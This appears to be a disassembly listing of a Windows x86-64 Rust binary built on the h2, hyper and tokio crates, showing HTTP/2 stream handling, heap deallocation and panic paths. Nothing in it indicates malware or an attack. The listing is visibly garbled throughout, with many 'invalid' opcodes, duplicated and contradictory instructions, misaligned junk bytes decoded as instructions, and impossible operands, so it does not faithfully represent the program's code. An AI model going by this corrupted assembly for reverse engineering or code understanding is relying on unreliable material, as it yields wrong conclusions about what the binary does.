inc dword [rax + rax*8 + 0x155850f]
add byte [rax], al
lea rdx, str.proxy_connectionH
mov r8d, 0x10
mov rcx, rbx
call fcn.1400255d0
test al, al
jne case.0x140086de7.2
cmp byte [rcx], al
add byte [rax], al
cmp byte [rcx], al
add byte [rax], al
movups xmm0, xmmword [0x14012ca20]
pop rbp
or al, byte [rax]
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x14012ca10]
movaps xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.140022740
mov edx, 0x8949fff9
invalid
mov edx, 0x8949fff9
stc
dec dword [rcx - 0x77]
invalid
mov rax, qword [rsp + 0x40]
test rax, rax
je 0x140086d37
lea rcx, [rsp + 0x58]
mov rdx, qword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
call qword [rax + 0x10]
test r15, r15
je 0x140086d5e
cmp qword [r15 + 0x10], 8
adc byte [rax], cl
jne case.0x140086de7.2
add byte [rcx - 0x75], cl
or byte [r8 - 0x47], r9b
je 0x140086dc1
mov rax, qword [r15 + 8]
movabs rcx, 0x7372656c69617274
invalid
imul ebp, dword [rbp + riz*2 + 0x72], 0x8394873
cmp dword [rax], ecx
invalid
cmp dword [rax], ecx
or byte [rdi], cl
test ebp, ecx
jne case.0x140086de7.2
add byte [rax], al
add byte [rdi], cl
mov dh, 0x93
sbb al, 1
add byte [rax], al
movzx edx, byte [rbx + 0x11c]
mov rcx, qword [rsi]
mov r8d, dword [rsi + 8]
or byte [rbx - 0x76bbf3ba], cl
and al, 0x28
or byte [rbx - 0x76bbf3ba], cl
and al, 0x28
lea r10, [rsp + 0x2c]
lea edx, [rsp + 0x2c]
push rsp
and al, 0x2c
mov dword [rsp + 0x2c], eax
cmp qword [rcx + 0x10], r8
adc byte [r15], cl
xchg byte [rsi + 2], dl
add byte [rax], al
adc byte [r15], cl
xchg byte [rsi + 2], dl
add byte [rax], al
mov r12, qword [rcx + 8]
imul rcx, r8, 0x130
cmp dword [r12 + rcx], 2
add dword [rax], eax
add byte [rcx - 0x7d], al
cmp al, 0xc
add cl, byte [rdi]
je 0x140086fdd
je 0x140086fdd
add al, byte [rax]
add byte [rcx + 1], cl
int3
add r12, rcx
cmp dword [r12 + 0x114], eax
add dword [rax], eax
add byte [rdi], cl
test dword [rdi], ebp
add al, byte [rax]
invalid
add dword [rax], eax
add byte [rdi], cl
test dword [rdi], ebp
add al, byte [rax]
add byte [rcx + 0xf], al
movzx eax, byte [r12 + 0x50]
movzx eax, byte [r12 + 0x50]
movzx eax, byte [rsp + 0x50]
lea ecx, [rax - 6]
cli
movzx r9d, cl
cmp r9b, 6
mov r8d, 6
add byte [rax], al
invalid
add byte [rax], al
cmovb r8d, r9d
mov bpl, 1
cmp r8b, 5
ja case.0x140086de7.2
and dl, 1
loop 0x140086dd6
movzx r8d, r8b
lea r9, [0x140178668]
or eax, 0xf1888
or eax, 0xf1888
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
add dword [rax - 0x4abefe06], eax
or al, byte [rcx - 0x80]
fld qword [rax]
add byte [rbp + 0x31], al
invalid
jmp 0x140086e5a
add byte [rbp + 0x31], al
invalid
movzx edi, byte [rsp + 0x52]
mov ebp, 1
cmovne ebp, r15d
mov r13b, 0xa
sub r13b, dl
jmp 0x140086e5a
mov rcx, rbx
call fcn.140087660
mov eax, ebp
add rsp, 0x168
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp cl, 6
jb 0x140086eb7
lea ecx, [rax - 3]
cmp cl, 2
ja 0x140086e6c
cmp cl, 1
jne 0x140086eb7
movzx eax, al
test eax, eax
je 0x140086eb7
cmp eax, 1
jne 0x140086e91
lea rcx, [r12 + 0x70]
mov rax, qword [r12 + 0x58]
mov rdx, qword [r12 + 0x60]
mov r8, qword [r12 + 0x68]
call qword [rax + 0x10]
jmp 0x140086eb2
mov rax, qword [r12 + 0x58]
shl rax, 1
test rax, rax
je 0x140086eb7
mov r8, qword [r12 + 0x60]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea r10, [rsp + 0x2c]
mov byte [r12 + 0x50], r13b
mov byte [r12 + 0x51], bpl
mov byte [r12 + 0x52], r15b
mov eax, dword [rbx + 0x118]
test eax, eax
je 0x140087083
mov rcx, qword [rsp + 0x1d0]
cmp byte [rcx + 0x58], 0
mov r12, qword [rsp + 0x1d8]
setne cl
xor al, cl
test al, 1
je 0x140086fa1
mov rcx, qword [rsi]
mov edx, dword [rsi + 8]
mov eax, dword [rsi + 0xc]
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x2c], eax
cmp qword [rcx + 0x10], rdx
jbe 0x140087030
mov rcx, qword [rcx + 8]
imul rdx, rdx, 0x130
cmp dword [rcx + rdx], 2
je 0x140087030
test byte [rbx], cl
add dword [rax], eax
invalid
test byte [rbx], cl
add dword [rax], eax
add byte [rax + 1], cl
sar dword [rcx], 1
adc dword [rcx + rax], 0x850f0000
cld
add byte [rax], al
add byte [rcx - 0x7d], cl
invalid
add rcx, rdx
cmp dword [rcx + 0x114], eax
jne 0x140087030
add r14, 8
cmp byte [rcx + 0x125], 0
jne 0x140086fa5
mov rcx, r14
mov rdx, rsi
call fcn.140020aa0
lea rcx, [rsp + 0x48]
mov r8d, 0x120
mov rdx, rbx
call fcn.140106530
mov byte [rsp + 0x40], 1
mov qword [rsp + 0x20], r12
lea rdx, [rsp + 0x40]
mov rcx, r14
mov r8, rdi
mov r9, rsi
call fcn.140087730
mov rax, qword [r12]
mov rcx, qword [r12 + 8]
mov qword [r12], 0
mov bpl, 0xc
test rax, rax
je 0x140086e33
call qword [rax + 8]
jmp 0x140086e33
add r14, 8
lea rcx, [rsp + 0x48]
mov r8d, 0x120
mov eax, 0x120
mov rdx, rbx
call fcn.140106530
js 0x140086fab
invalid
add dh, al
and al, 0x40
add dword [rcx + rcx*4 + 0x64], ecx
and al, 0x20
lea rdx, [rsp + 0x40]
mov rcx, r14
mov r8, rdi
mov r9, rsi
call fcn.140087730
mov bpl, 0xc
jmp 0x140086e33
js 0x140086fab
invalid
mov qword [rsp + 0x30], r10
lea rax, [0x14001b1f0]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140108560
mov qword [rsp + 0x30], r10
lea rax, [0x14001b1f0]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
lea ecx, [rsp + 0x40]
lea ecx, [rsp + 0x40]
call fcn.140108560
lea rcx, str.assertion_failed:__id.is_zero__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotopeer.rs
lea r8, [0x140128f10]
add eax, 0xa1e7f
add eax, 0xa1e7f
mov edx, 0x1f
call fcn.140108630
int3
sal byte [rbp + 0xf], cl
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
test eax, eax
test eax, eax
jne 0x1400870d3
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x1400870cc
add rsp, 0x20
pop rsi
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add rsp, 0x20
pop rsi
ret
mov rsi, rcx
call fcn.1401105f0
mov rcx, rsi
test al, al
jne 0x1400870b8
mov byte [rcx + 1], 1
jmp 0x1400870b8
add dword [rbp + 0x40], esi
movzx eax, al
test eax, eax
je case.0x1400d62e6.1792
cmp eax, 1
jne 0x140087132
lea rcx, [rsi + 0x70]
mov rax, qword [rsi + 0x58]
jo 0x14008716a
mov eax, dword [rsi + 0x58]
mov rdx, qword [rsi + 0x60]
mov r8, qword [rsi + 0x68]
call qword [rax + 0x10]
jmp case.0x1400d62e6.1792
mov rax, qword [rsi + 0x58]
shl rax, 1
test rax, rax
je case.0x1400d62e6.1792
mov r8, qword [rsi + 0x60]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
or byte [rax], al
invalid
or byte [rax], al
mov rax, qword [rsi + 0x90]
test rax, rax
je 0x140087167
mov rcx, qword [rsi + 0x98]
call qword [rax + 0x18]
mov rax, qword [rsi + 0xa8]
test al, 0
add byte [rax], al
test rax, rax
je 0x140087183
mov rcx, qword [rsi + 0xb0]
add rsp, 0x20
pop rsi
jmp qword [rax + 0x18]
nop
add rsp, 0x20
pop rsi
ret
mov rcx, rdi
call fcn.140005020
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.140026d50
cmp ebx, 0x8b48fff9
xor al, r14b
dec qword [rax]
cmp ebx, 0x8b48fff9
xor al, r14b
dec qword [rax]
jne 0x1400871e1
mov rcx, rdi
call fcn.140005020
mov rax, qword [rsi + 0x40]
lock dec qword [rax]
dec qword [rax]
dec qword [rax]
jne 0x1400871f4
mov rcx, qword [rsi + 0x40]
call fcn.140087210
lea rcx, [rsi + 0x48]
call fcn.14005b7d0
mov rcx, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.140065ab0
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, rcx
mov rdi, qword [rcx + 0x20]
mov r14, qword [rcx + 0x28]
jno 0x14008724c
test r14, r14
je 0x14008724c
lea rbx, [rdi + 0x10]
jmp 0x14008723c
adc bl, ch
or eax, 0xc3814890
cmp byte [rcx], al
add byte [rax], al
add rbx, 0x138
dec r14
je 0x14008724c
cmp dword [rbx - 0x10], 2
je 0x140087230
mov rcx, rbx
call fcn.1400875e0
jmp 0x140087230
cmp qword [rsi + 0x18], 0
je 0x140087265
or byte [rax], al
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
int3
add esp, 0x28
pop rdi
pop rsi
ret
cmp r13, r12
jae 0x1400873c3
add rdi, 0x20
jmp 0x1400873a9
add rdi, 0x50
dec r15
je 0x1400873c3
cmp dword [rdi - 0x20], 3
je 0x1400873a0
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov edx, dword [rdi - 0x10]
mov edx, dword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
jmp 0x1400873a0
test r14, r14
je 0x1400873ec
div byte [rsp + 0x4c]
mov eax, dword [rsi + 0x28]
mov r8, qword [rsi + 0x28]
mov rcx, qword [0x140182260]
or eax, 0xfae8d
xor edx, edx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
ret
loope 0x14008740e
lea rcx, [rcx + rcx*4]
sub rax, rcx
lea rbx, [rax + rdi]
add rbx, 0x20
jmp 0x14008742d
invalid
add rbx, 0x50
dec rbp
int 0xf
test byte [rsi - 1], ah
invalid
invalid
int 0xf
test byte [rsi - 1], ah
invalid
cmp dword [rbx - 0x20], 3
je 0x140087420
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
invalid
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
jmp 0x140087420
invalid
int3
int3
mov rsi, rcx
cmp dword [rcx + 0x10], 3
je 0x140087468
lea rcx, [rsi + 0x10]
call fcn.140036d60
clc
cli
invalid
clc
cli
dec dword [rax - 0x7d]
mov esi, 0xc0
add byte [rax], al
je 0x14008747e
lea rcx, [rsi + 0xc0]
cmp qword [rsi + 0xc0], 0
add byte [rax], al
je 0x14008747e
lea rcx, [rsi + 0xc0]
call fcn.140035b40
cli
dec dword [rdi]
mov dh, 0x86
test al, 0
add byte [rax], al
movzx eax, byte [rsi + 0xa8]
cmp al, 0xb
je case.0x140068e61.84
cmp al, 0xa
jb case.0x140068e61.84
cmp qword [rsi + 0xb8], 0
je case.0x140068e61.84
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rsi + 0xb0]
invalid
mov al, 0
add byte [rax], al
mov r8, qword [rsi + 0xb0]
xchg byte [rax + 0x48000000], dh
mov ecx, dword [0x140182260]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov bl, 0xbe
or byte [rax], al
cmp qword [rsi], 0
cmp dword [rsi], 0
je 0x140087502
mov rdi, qword [rsi + 8]
test rdi, rdi
je 0x140087502
or byte [rax - 0x7b], cl
push qword [rsi + rax*2 + 0x48]
mov eax, dword [rdi + 0x30]
mov rax, qword [rdi + 0x30]
mov rcx, rax
test cl, 4
jne 0x1400874da
mov rdx, rcx
or rdx, 2
mov rax, rcx
lock cmpxchg qword [rdi + 0x30], rdx
jne 0x1400874c0
and ecx, 5
cmp ecx, 1
jne 0x1400874ed
add eax, 0x7501f983
or ecx, dword [rax - 0x75]
and byte [r8 - 0x75], r9b
sub r15b, r15b
push rax
adc al, dh
dec qword [rdi]
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x28]
call qword [rax + 0x10]
lock dec qword [rdi]
jne 0x140087502
mov rcx, qword [rsi + 8]
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.1400372d0
nop
add rsp, 0x28
sub byte [rdi + 0x5e], bl
sub byte [rdi + 0x5e], bl
ret
int3
int3
mov rcx, qword [rcx + 8]
mov r9, qword [rcx + 0x18]
mov rcx, rax
jmp r9
or byte [rbx + rcx*4 + 0x49], cl
sbb byte [rax - 0x77], cl
ror dword [rcx - 1], 0xe1
int3
int3
int3
mov ecx, eax
jmp r10
ror dword [rcx - 1], 0xe2
int3
int3
int3
int3
mov eax, dword [rcx]
mov rcx, qword [rcx + 8]
or byte [rbx + rcx*4 + 0x41], cl
invalid
or byte [rbx + rcx*4 + 0x41], cl
sub byte [rax - 0x77], cl
mov rcx, rax
jmp r8
int3
mov rcx, rax
jmp r8
int3
int3
int3
or byte [rbx + rcx*4 + 0x41], cl
xor byte [rax - 0x77], cl
mov ecx, eax
jmp r8
int3
mov ecx, eax
jmp r8
mov eax, dword [rcx]
mov rcx, qword [rcx + 8]
mov r10, qword [rcx + 0x38]
cmp byte [rax - 0x77], cl
invalid
cmp byte [rax - 0x77], cl
ror dword [rcx - 1], 0xe2
jmp r10
int3
mov ecx, eax
jmp r10
int3
int3
jmp qword [rdx + 0x40]
movabs rax, 0xaab48b730b47902a
movabs rdx, 0x3109814a3df27812
mov edx, 0x3df27812
invalid
invalid
or dword [rcx], esi
mov edx, 0x3df27812
or qword [rcx], 0xffffffffccccc331
ret
int3
int3
int3
cmp eax, 0x3109814a
ret
add al, 0x82
add rax, rdx
jmp rax
cmp rax, 1
je 0x14008763f
test rax, rax
jne case.0x1400875f7.2
mov rax, qword [rcx + 0x10]
mov rdx, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rcx + 0x20]
add rcx, 0x28
jmp rax
cmp qword [rcx + 0x18], 0
je case.0x1400875f7.2
mov r8, qword [rcx + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
jmp qword [sym.imp.kernel32.dll_HeapFree]
ret
add byte [rax], al
add byte [rax - 0x75], cl
xchg esi, eax
add byte [rax], 0
add byte [rbx + rcx*4 - 0x7a], cl
mov byte [rax], al
add byte [rax], al
call qword [rax + 0x10]
mov rax, qword [rsi + 0x98]
test rax, rax
je 0x1400876d8
lea rcx, [rsi + 0xb0]
mov rdx, qword [rsi + 0xa0]
mov r8, qword [rsi + 0xa8]
call qword [rax + 0x10]
mov rax, qword [rsi + 0xb8]
test rax, rax
je 0x1400876fc
lea rcx, [rsi + 0xd0]
mov rdx, qword [rsi + 0xc0]
mov r8, qword [rsi + 0xc8]
call qword [rax + 0x10]
mov rax, qword [rsi + 0xd8]
test rax, rax
je 0x140087729
mov rax, qword [rax + 0x10]
lea rcx, [rsi + 0xf0]
mov rdx, qword [rsi + 0xe0]
mov r8, qword [rsi + 0xe8]
add rsp, 0x20
pop rsi
jmp rax
nop
add rsp, 0x20
pop rsi
ret
add qword [rax], rax
add byte [rax], al
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140108560
int3
int3
adc byte [rax - 0x75], cl
pop rdi
and byte [rax - 1], cl
sbb byte [r9 + 0x39], r9b
fimul word [rdi]
test dword [rdx + 0x49000000], eax
mov esi, ebx
invalid
add byte [rax], al
mov r14, rbx
cmp qword [rdi], rbx
jne 0x140087853
mov rcx, rdi
call fcn.140087960
mov r14, qword [rdi + 0x10]
mov r15, qword [rdi + 8]
imul rax, r14, 0x138
mov qword [r15 + rax], 0
lea rcx, [r15 + rax]
add rcx, 8
lea rdx, [rsp + 0x20]
mov r8d, 0x130
call fcn.140106530
inc r14
mov qword [rdi + 0x10], r14
lea rax, [rbx + 1]
mov qword [rdi + 0x20], rax
cmp qword [rsi], 0
je 0x1400878ff
mov rax, qword [rsi + 0x10]
cmp rax, r14
jae 0x140087920
imul rax, rax, 0x138
add r15, rax
cmp dword [r15], 2
je 0x140087920
add rsi, 0x10
mov qword [r15], 1
add dword [rax], eax
add byte [rax], al
mov qword [r15 + 8], rbx
jmp 0x14008790e
mov qword [rsi], 1
mov qword [rsi + 8], rbx
add rsi, 0x10
mov qword [rsi], rbx
add rsp, 0x150
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rdi
pop rdi
ret
lea rcx, str.invalid_keyC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
mov edx, 0xb
call fcn.14010d200
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, [0x140140158]
mov edx, 0x28
add al, ch
loopne case.0x1400d62e6.1800
or byte [rax], al
add al, ch
loopne case.0x1400d62e6.1800
or byte [rax], al
int3
int3
int3
in al, dx
pop rax
mov rsi, rcx
mov rax, qword [rcx]
mov rcx, rax
inc rcx
je 0x1400879fe
lea rdx, [rax + rax]
cmp rdx, rcx
cmova rcx, rdx
movabs r8, 0x6906906906906a
xor edx, edx
cmp rcx, r8
setb dl
cmp rcx, 5
mov edi, 4
cmovae rdi, rcx
imul r8, rdi, 0x138
shl edx, 3
test rax, rax
je 0x1400879cd
mov rcx, qword [rsi + 8]
imul rax, rax, 0x138
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x50], rax
and al, 0x50
and al, 0x50
mov eax, 8
jmp 0x1400879cf
xor eax, eax
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x28]
lea r9, [rsp + 0x40]
call fcn.1400f6880
cmp qword [rsp + 0x28], 0
jne 0x140087a05
mov rax, qword [rsp + 0x30]
mov qword [rsi + 8], rax
mov qword [rsi], rdi
add rsp, 0x58
pop rdi
pop rsi
ret
xor ecx, ecx
call fcn.1401082a0
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
call fcn.1401082a0
int3
rol dword [0x140182051], 0x48
mov dword [rsp + 0x20], eax
lea rcx, [rsp + 0xd8]
mov r8d, 0xa8
mov rdx, rsi
call fcn.140106530
lea rax, [rsp + 0x20]
mov qword [rsp + 0x180], rax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140087b9e
test eax, eax
jne 0x140087ead
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
enter 0xffffffffffff870f, 0xffffffffffffff9a
add al, byte [rax]
invalid
enter 0xffffffffffff870f, 0xffffffffffffff9a
add al, byte [rax]
add byte [rax - 1], cl
ror byte [rbx + 0xfa7400d], 0
inc rax
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd0], rax
mov rdi, qword [rcx + 0xd8]
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0xd8]
mov r8d, 0xb0
call fcn.140106530
cmp rdi, 2
je 0x140087e71
mov rax, qword [rsp + 0xd0]
mov r15, qword [rax]
test rdi, rdi
je case.0x14002a2ab.1587
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle 0x140087e9c
movzx eax, byte [0x140182310]
mov edx, 0x180
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140087e9e
mov r12, rax
and r12, 0xffffffffffffff80
lea rdi, [r12 + 0x80]
mov qword [r12 + 0x78], rax
and al, 0x78
and al, 0x78
lea r14, [rbx + 0x68]
mov qword [r12 + 0x80], 0xcc
mov qword [r12 + 0x88], 0
lea rax, [0x140141c78]
mov qword [r12 + 0x90], rax
add byte [rax], al
add byte [rax], al
mov qword [r12 + 0x98], 0
mov qword [r12 + 0xa0], rbx
mov qword [r12 + 0xa8], r15
test al, 0
add byte [rax], al
pushfq
and al, 0xa0
add byte [rax], al
add byte [rbp - 0x77], cl
mov esp, 0xa824
test al, 0
add byte [rax], al
lea rcx, [r12 + 0xb0]
mov r8d, 0xa8
test al, 0
add byte [rax], al
lea rcx, [r12 + 0xb0]
mov r8d, 0xa8
mov rdx, rsi
call fcn.140106530
xorps xmm0, xmm0
movups xmmword [r12 + 0x158], xmm0
mov qword [r12 + 0x168], 0
mov rcx, r14
mov rdx, rdi
mov r8, rdi
call fcn.1400654a0
test rax, rax
je 0x140087e0f
add rbx, 0x10
mov rcx, rbx
mov rdx, rax
xor r8d, r8d
call fcn.1400ec490
jmp 0x140087e0f
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
movsd dword [rdi], dword [rsi]
verr word [rbp + 0x48]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle 0x140087e9c
movzx eax, byte [0x140182310]
mov edx, 0x180
add byte [rax], al
add byte [rax], al
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140087e9e
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx - 0x77], cl
invalid
add byte [rax], al
mov r14, rax
and r14, 0xffffffffffffff80
lea rdi, [r14 + 0x80]
lea edi, [rsi + 0x80]
lea edi, [rsi + 0x80]
mov qword [r14 + 0x78], rax
mov qword [r14 + 0x80], 0xcc
mov qword [r14 + 0x88], 0
lea rax, [0x140141958]
mov qword [r14 + 0x90], rax
mov qword [r14 + 0x98], 0
mov qword [r14 + 0xa0], rbx
add rbx, 0x58
mov qword [r14 + 0xa8], r15
lea rcx, [r14 + 0xb0]
mov r8d, 0xa8
mov rdx, rsi
call fcn.140106530
xorps xmm0, xmm0
movups xmmword [r14 + 0x158], xmm0
mov qword [r14 + 0x168], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, rbx
mov rdx, rdi
mov r8, rdi
call fcn.1400654a0
test rax, rax
je 0x140087e0f
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + 0xe0]
mov rdx, rax
call fcn.1400eaa70
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
mov ecx, 0x84
mov eax, 0xcc
lock cmpxchg qword [rdi], rcx
je 0x140087e44
mov rax, qword [rdi + 0x10]
mov rcx, rdi
call qword [rax + 0x20]
nop
add rsp, 0x188
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.140108880
movzx eax, byte [rsp + 0xc8]
cmp eax, 3
je 0x140087ef5
test eax, eax
jne 0x140087f13
lea rcx, [rsp + 0x28]
call fcn.140065ab0
lea rcx, [rsp + 0x40]
call fcn.14008be70
jmp 0x140087f13
ud2
mov ecx, 0x80
mov edx, 0x100
call fcn.1401082c0
movzx eax, byte [rsp + 0x178]
mov sil, 1
cmp eax, 3
je 0x140087f45
and al, 0x78
add dword [rax], eax
add byte [rax - 0x4a], al
add dword [rbx - 0x7bf0fc08], eax
test byte [rax], al
add byte [rax], al
test eax, eax
jne 0x140087f2f
lea rcx, [rsp + 0xd8]
call fcn.140065ab0
lea rcx, [rsp + 0xf0]
call fcn.14008be70
mov byte [rsp + 0x28], sil
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
lea rcx, [rsp + 0x28]
call fcn.14010dd60
lea rcx, [rsp + 0x90]
call fcn.14008be70
cmp dword [rsp + 0x78], 2
je 0x140087f13
lea rcx, [rsp + 0x78]
call fcn.140065ab0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
xor esi, esi
mov byte [rsp + 0x28], sil
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
lea rcx, [rsp + 0x28]
call fcn.14010dd60
lea rcx, [rsp + 0x140]
call fcn.14008be70
cmp dword [rsp + 0x128], 2
je 0x140087f2f
lea rcx, [rsp + 0x128]
call fcn.140065ab0
mov byte [rsp + 0x28], sil
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
lea rcx, [rsp + 0x28]
call fcn.14010dd60
int3
lea rcx, [rsp + 0x30]
mov rdx, rbx
mov r8, r14
call fcn.140089d90
movzx eax, byte [rsp + 0x30]
cmp eax, 5
je 0x140088245
cmp eax, 6
jne 0x14008829b
mov rcx, rbx
call fcn.14008a360
mov rdi, rax
jmp 0x140088436
mov rcx, rbx
mov edx, 1
call fcn.140089c50
mov rbp, qword [rbx]
lea r13, [rbp + 0x10]
xor eax, eax
lock cmpxchg byte [rbp + 0x10], sil
sal al, 0x40
cmpxchg byte [rbp + 0x10], dh
jne 0x1400881fc
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140088217
xor eax, eax
movzx ecx, byte [rbp + 0x11]
test cl, cl
jne 0x1400886ed
add byte [rax], al
mov r8d, dword [rbx + 8]
mov ecx, dword [rbx + 0xc]
mov dword [rsp + 0x70], r8d
mov dword [rsp + 0x74], ecx
and al, 0x74
cmp qword [rbp + 0x1d8], r8
jbe 0x14008865a
xchg byte [0x18808805c], al
mov edx, dword [rbp + 0x1d0]
mov rdx, qword [rbp + 0x1d0]
imul r8, r8, 0x130
cmp dword [rdx + r8], 2
je 0x14008865a
add rdx, r8
cmp dword [rdx + 0x114], ecx
jne 0x14008865a
mov rsi, qword [rbp + 0x128]
mov ecx, dword [rdx + 0x84]
mov r15, qword [rdx + 0x88]
test ecx, ecx
cmovle ecx, edi
cmp rcx, rsi
cmovb rsi, rcx
test al, al
jne 0x1400880b4
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14008822f
jnp 0x1400880b3
add byte [rax], al
add byte [rcx], dh
rol byte [rcx - 0x7a], 0x45
add byte [rdx + rax], bh
xor eax, eax
xchg byte [r13], al
cmp al, 2
jne 0x1400880c7
mov rcx, r13
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
jmp 0xef7996c4
cmp rsi, r15
lea rsi, [rsp + 0x30]
jbe 0x1400880f0
mov rcx, rsi
mov rdx, rbx
mov r8, r14
call fcn.140089d90
movzx eax, byte [rsp + 0x30]
cmp eax, 6
je 0x14008811f
jmp 0x1400884c0
mov rcx, rsi
mov rdx, rbx
mov r8, r14
call fcn.14008a080
movzx ebp, byte [rsp + 0x30]
cmp ebp, 7
je 0x14008835f
mov r13, qword [rsp + 0x38]
cmp ebp, 5
jne 0x140088312
test r13, r13
je 0x1400880f0
mov rcx, rsi
mov rdx, qword [rsp + 0x68]
mov r8, r14
call fcn.14004e1a0
mov rax, qword [rsp + 0x30]
cmp rax, 2
je 0x14008835f
test rax, rax
je 0x140088501
mov rsi, qword [rsp + 0x38]
mov r13, qword [rsp + 0x40]
test rsi, rsi
je 0x14008852a
mov r15, qword [rsp + 0x48]
